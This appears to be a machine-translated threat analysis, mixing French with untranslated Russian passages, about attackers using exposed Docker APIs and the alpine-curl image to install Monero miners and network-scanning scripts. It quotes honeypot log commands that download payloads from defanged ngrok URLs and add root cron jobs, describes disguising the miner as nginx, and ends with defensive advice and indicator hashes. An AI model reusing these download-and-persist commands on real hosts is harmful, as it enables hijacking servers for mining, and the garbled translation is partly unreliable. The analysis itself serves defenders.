Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie

Nous avons analysé les données collectées à l'aide de conteneurs honeypot, que nous avons créés pour suivre les menaces. Et nous avons détecté une activité importante de la part de mineurs de crypto-monnaie indésirables ou non autorisés déployés en tant que conteneurs malveillants à l'aide d'une image publiée par la communauté sur Docker Hub. L’image est utilisée dans le cadre d’un service fournissant des mineurs de crypto-monnaie malveillants.

De plus, des programmes permettant de travailler avec des réseaux sont installés pour pénétrer dans les conteneurs et applications voisins ouverts.

Nous laissons nos honeypots tels quels, c'est-à-dire avec les paramètres par défaut, sans aucune mesure de sécurité ni installation ultérieure de logiciels supplémentaires. Veuillez noter que Docker propose des recommandations pour la configuration initiale afin d'éviter les erreurs et les vulnérabilités simples. Mais les pots de miel utilisés sont des conteneurs, conçus pour détecter les attaques visant la plateforme de conteneurisation, et non les applications contenues dans les conteneurs.

L’activité malveillante détectée est également remarquable car elle ne nécessite pas de vulnérabilités et est également indépendante de la version de Docker. Trouver une image de conteneur mal configurée, et donc ouverte, est tout ce dont les attaquants ont besoin pour infecter de nombreux serveurs ouverts.

L'API Docker non fermée permet à l'utilisateur d'effectuer un large éventail de tâches. équipes, notamment l'obtention d'une liste des conteneurs en cours d'exécution, l'obtention des journaux d'un conteneur spécifique, le démarrage, l'arrêt (y compris forcé) et même la création d'un nouveau conteneur à partir d'une image spécifique avec des paramètres spécifiés.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Sur la gauche se trouve la méthode de diffusion des logiciels malveillants. À droite se trouve l’environnement de l’attaquant, qui permet le déploiement d’images à distance.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Répartition par pays de 3762 API Docker ouvertes. Basé sur la recherche Shodan du 12.02.2019/XNUMX/XNUMX

Options de chaîne d’attaque et de charge utile

Les activités malveillantes n’ont pas été détectées uniquement à l’aide de pots de miel. Les données de Shodan montrent que le nombre d'API Docker exposées (voir deuxième graphique) a augmenté depuis que nous avons enquêté sur un conteneur mal configuré utilisé comme pont pour déployer le logiciel d'extraction de crypto-monnaie Monero. En octobre de l'année dernière (2018, données actuelles tu peux ressembler à ça environ. traducteur), il n'y avait que 856 API ouvertes.

Un examen des journaux du pot de miel a montré que l'utilisation des images de conteneurs était également associée à l'utilisation de ngrok, un outil permettant d'établir des connexions sécurisées ou de transférer le trafic depuis des points accessibles au public vers des adresses ou des ressources spécifiées (par exemple localhost). Cela permet aux attaquants de créer dynamiquement des URL lors de la transmission d'une charge utile à un serveur ouvert. Vous trouverez ci-dessous des exemples de code issus des journaux montrant un abus du service ngrok :

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Comme vous pouvez le constater, les fichiers téléchargés sont téléchargés à partir d'URL en constante évolution. Ces URL ont une date d'expiration courte, les charges utiles ne peuvent donc pas être téléchargées après la date d'expiration.

Есть два варианта полезной нагрузки. Первый — скомпилированный майнер в формате ELF для Linux (определяемый как Coinminer.SH.MALXMR.ATNO), который подключается к пулу для майнинга. Второй — скрипт (TrojanSpy.SH.ZNETMAP.A), предназначенный для получения определенных сетевых инструментов, используемых для сканирования сетевых диапазонов и последующего поиска новых целей.

Le script dropper définit deux variables, qui sont ensuite utilisées pour déployer le mineur de crypto-monnaie. La variable HOST contient l'URL où se trouvent les fichiers malveillants, et la variable RIP est le nom de fichier (en fait, le hachage) du mineur à déployer. La variable HOST change à chaque fois que la variable de hachage change. Le script tente également de vérifier qu’aucun autre mineur de cryptomonnaie n’est exécuté sur le serveur attaqué.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
Exemples de variables HOST et RIP, ainsi qu'un extrait de code utilisé pour vérifier qu'aucun autre mineur n'est en cours d'exécution

Прежде чем запускать майнер, он переименовывается в nginx. Другие версии этого скрипта переименовывают майнер в другие легитимные сервисы, которые могут присутствовать в окружениях Linux. Этого обычно достаточно для обхода проверок по списку запущенных процессов.

Le script de recherche possède également des fonctionnalités. Il fonctionne avec le même service URL pour déployer les outils nécessaires. Parmi eux se trouve le binaire zmap, qui est utilisé pour analyser les réseaux et obtenir une liste des ports ouverts. Le script charge également un autre binaire utilisé pour interagir avec les services trouvés et recevoir des bannières de leur part pour déterminer des informations supplémentaires sur le service trouvé (par exemple, sa version).

Le script prédéfinit également certaines plages réseau à analyser, mais cela dépend de la version du script. Il définit également les ports cibles des services (dans ce cas, Docker) avant d'exécuter l'analyse.

Как только найдены предполагаемые цели — автоматически из них снимаются баннеры. Скрипт также фильтрует цели в зависимости от интересующих его сервисов, приложений, компонентов или платформ: Redis, Jenkins, Drupal, MODX, Maître Kubernetes, client Docker 1.16 et Apache CouchDB. Si le serveur analysé correspond à l'un d'entre eux, il est enregistré dans un fichier texte, que les attaquants peuvent ensuite utiliser pour une analyse et un piratage ultérieurs. Ces fichiers texte sont téléchargés sur les serveurs des attaquants via des liens dynamiques. Autrement dit, une URL distincte est utilisée pour chaque fichier, ce qui signifie que l'accès ultérieur est difficile.

Le vecteur d'attaque est une image Docker, comme on peut le voir dans les deux morceaux de code suivants.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouve le changement de nom en service légitime, et en bas se trouve la manière dont zmap est utilisé pour analyser les réseaux.

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
En haut se trouvent des plages de réseau prédéfinies, en bas se trouvent des ports spécifiques pour la recherche de services, dont Docker

Comment l'API Docker non privée et les images publiques de la communauté sont utilisées pour distribuer les mineurs de crypto-monnaie
La capture d'écran montre que l'image du curl alpin a été téléchargée plus de 10 millions de fois.

На основе Alpine Linux и curl, ресурсоэффективного инструмента CLI для передачи файлов по различным протоколам, можно собрать Image Docker. Comme vous pouvez le voir sur l'image précédente, cette image a déjà été téléchargée plus de 10 millions de fois. Un grand nombre de téléchargements peut nécessiter l'utilisation de cette image comme point d'entrée ; cette image a été mise à jour il y a plus de six mois ; les utilisateurs n'ont pas téléchargé d'autres images de ce référentiel aussi souvent. Dans Docker point d'entrée - un ensemble d'instructions utilisé pour configurer un conteneur pour l'exécuter. Si les paramètres du point d'entrée sont incorrects (par exemple, le conteneur reste ouvert depuis Internet), l'image peut être utilisée comme vecteur d'attaque. Les attaquants peuvent l’utiliser pour livrer une charge utile s’ils trouvent un conteneur mal configuré ou ouvert non pris en charge.

Il est important de noter que cette image (alpine-curl) en elle-même n'est pas malveillante, mais comme vous pouvez le voir ci-dessus, elle peut être utilisée pour exécuter des fonctions malveillantes. Des images Docker similaires peuvent également être utilisées pour effectuer des activités malveillantes. Nous avons contacté Docker et travaillé avec eux sur ce problème.

Recommandations

Réglage incorrect reste problème constant pour de nombreuses entreprises, notamment celles mettant en œuvre DevOps, axé sur un développement et une livraison rapides. Tout est aggravé par la nécessité de respecter les règles d'audit et de contrôle, la nécessité de contrôler la confidentialité des données, ainsi que les énormes dommages résultant de leur non-respect. L'intégration de l'automatisation de la sécurité dans le cycle de vie du développement vous aide non seulement à détecter les failles de sécurité qui autrement pourraient passer inaperçues, mais également à réduire la charge de travail inutile, comme l'exécution de versions logicielles supplémentaires pour chaque vulnérabilité découverte ou mauvaise configuration après le déploiement d'une application.

L’incident évoqué dans cet article souligne la nécessité de prendre en compte la sécurité dès le départ, avec notamment les recommandations suivantes :

  • Pour les administrateurs système et les développeurs : vérifiez toujours les paramètres de votre API pour vous assurer que tout est configuré pour accepter uniquement les demandes d'un serveur ou d'un réseau interne spécifique.
  • Suivez le principe des moindres droits : assurez-vous que les images des conteneurs sont signées et vérifiées, limitez l'accès aux composants critiques (service de lancement de conteneurs) et ajoutez le cryptage aux connexions réseau.
  • Suivre recommandations et activer les mécanismes de sécurité, par ex. depuis Docker et intégré fonctions de sécurité.
  • Utilisez l'analyse automatisée des environnements d'exécution et des images pour obtenir des informations supplémentaires sur les processus exécutés dans le conteneur (par exemple, pour détecter l'usurpation d'identité ou rechercher des vulnérabilités). Le contrôle des applications et la surveillance de l'intégrité aident à suivre les modifications anormales apportées aux serveurs, aux fichiers et aux zones du système.

Trendmicro aide les équipes DevOps à créer en toute sécurité, à déployer rapidement et à lancer n'importe où. Tendance Micro Sécurité du cloud hybride Fournit une sécurité puissante, rationalisée et automatisée dans l'ensemble du pipeline DevOps d'une organisation et fournit de multiples défenses contre les menaces. XGen pour protéger les charges de travail physiques, virtuelles et cloud lors de l'exécution. Il ajoute également la sécurité des conteneurs avec Deep Security и Vérification intelligente de sécurité approfondie, qui analyse les images des conteneurs Docker à la recherche de logiciels malveillants et de vulnérabilités à tout moment du pipeline de développement afin de prévenir les menaces avant leur déploiement.

Signes de compromis

Hachages associés :

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Sur Cours vidéo Docker Les orateurs en exercice montrent quels réglages doivent être effectués en premier afin de minimiser la probabilité ou d'éviter complètement l'apparition de la situation décrite ci-dessus. Et du 19 au 21 août lors d'un cours intensif en ligne Outils et astuces DevOps Vous pouvez discuter de ces problèmes de sécurité et d’autres problèmes similaires avec des collègues et des enseignants en exercice lors d’une table ronde, où chacun peut s’exprimer et écouter les souffrances et les réussites de collègues expérimentés.

Source: habr.com

Achetez un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS 🔥 Achetez un hébergement web fiable avec protection DDoS, serveurs VPS et VDS | ProHoster